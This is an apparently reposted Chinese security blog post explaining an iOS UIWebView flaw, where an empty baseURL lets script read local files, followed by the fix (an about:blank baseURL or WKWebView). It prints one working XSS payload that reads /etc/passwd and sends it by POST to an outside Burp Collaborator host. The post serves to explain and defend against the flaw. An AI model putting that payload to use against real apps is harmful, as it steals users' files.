iOS漏洞——Web View XSS

栏目: 编程工具 · 发布时间: 7年前

内容简介:本文介绍一个简单的,但是潜在危险性特别大、而且在iOS app中经常出现的安全漏洞。该漏洞非常简单,但是常常被误解,当开发者在代码中是设置webView时,经常会看到:许多开发者都认为设置baseURL为@””,表示是安全的,因为baseurl被指定为空字符串,攻击者也不能加载请求到随机的恶意网站。但事实上不是这样的。

本文介绍一个简单的,但是潜在危险性特别大、而且在iOS app中经常出现的安全漏洞。

该漏洞非常简单,但是常常被误解,当开发者在代码中是设置webView时,经常会看到:

[webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@""]]

许多开发者都认为设置baseURL为@””,表示是安全的,因为baseurl被指定为空字符串,攻击者也不能加载请求到随机的恶意网站。但事实上不是这样的。

当baseURL被设置为空字符串时,攻击者可以绕过SOP保护访问APP的文件系统(使用file:// url方案)和任何外部网站。

另一个需要注意的方法是loadData:MIMEType:textEncodingName:baseURL。

错误配置可以以多种方式利用。最常见的就是文件共享,用户可以在web视图中打开文件。比如一个简单的XSS payload:

<script>
       var request = new XMLHttpRequest();
       request.open("GET","file:///etc/passwd",false);
       request.send();
request.open("POST","http://nc3fefxjk1kpku6504yvqzeyspyjm8.burpcollaborator.net",false);
       request.send(request.responseText);
</script>

这个简单的payload可以打开手机的/etc/passwd文件,然后发送其中的内容到攻击者服务器。

研究人员将其保存为.html文件,并于iCloud进行同步,然后再通过苹果的Files APP在APP内分享。

然后,当用户打开该文件时:

iOS漏洞——Web View XSS

研究人员就接收到了用户的etc/passwd文件。

其他潜在的利用方法有:

·APP内打开URL/Web浏览:攻击者可以发送给受害者一个恶意URL,当用户点击时,就可以在APP的web视图中打开链接。

· URL scheme滥用:攻击者可以通过邮件或iMessage等外部通信方式发送一个恶意URL。如果打开链接的URL scheme在webView中,就可以进行利用。

如何应对?

应对该漏洞的最简单的办法就是将baseURL参数设置为about:blank而不是空字符串。比如:

 [webView loadHTMLString:someHTMLstring baseURL:[NSURL URLWithString:@"about:blank"]]

现在webView已经从手机的文件系统中沙箱化了,攻击者可能可以进行弹窗,但是不能窃取数据或与恶意服务器进行通信。如果用户从文件系统中加载内嵌图像,该方案可能会干预APP的这一功能。

如果开发者选择使用新的WKWebView类,而不是老版本的UIWebView,那么这类攻击发生的可能性就会小很多。因为WKWebView增强了安全性,默认情况下不允许对本地文件系统进行AJAX请求,所以前面描述的攻击就都不能实现了。而且WKWebView还有一个开启/关闭JavaScript执行的新功能。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

社群运营的艺术

社群运营的艺术

查尔斯·沃格 / 靳婷婷 / 华夏出版社 / 2017-7 / 42

社群存续的秘密,长期以来只有少数人知道,比如佛陀、耶稣及其弟子。 回溯3000年社群史,《社群运营的艺术》作者查尔斯•沃格总结了有归属感社群的七大原则。 在前互联网时代,七原则曾经造就伟大社群。在人人互联时代,应用七原则的社群将更繁荣。 本书作者耶鲁大学神学硕士查尔斯•沃格研究人类社会3000年的历史,结合个人亲身操作经历,提出了七条历经时间考验的原则:界限原则、入会原则、仪式原......一起来看看 《社群运营的艺术》 这本书的介绍吧!

html转js在线工具
html转js在线工具

html转js在线工具

正则表达式在线测试
正则表达式在线测试

正则表达式在线测试

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具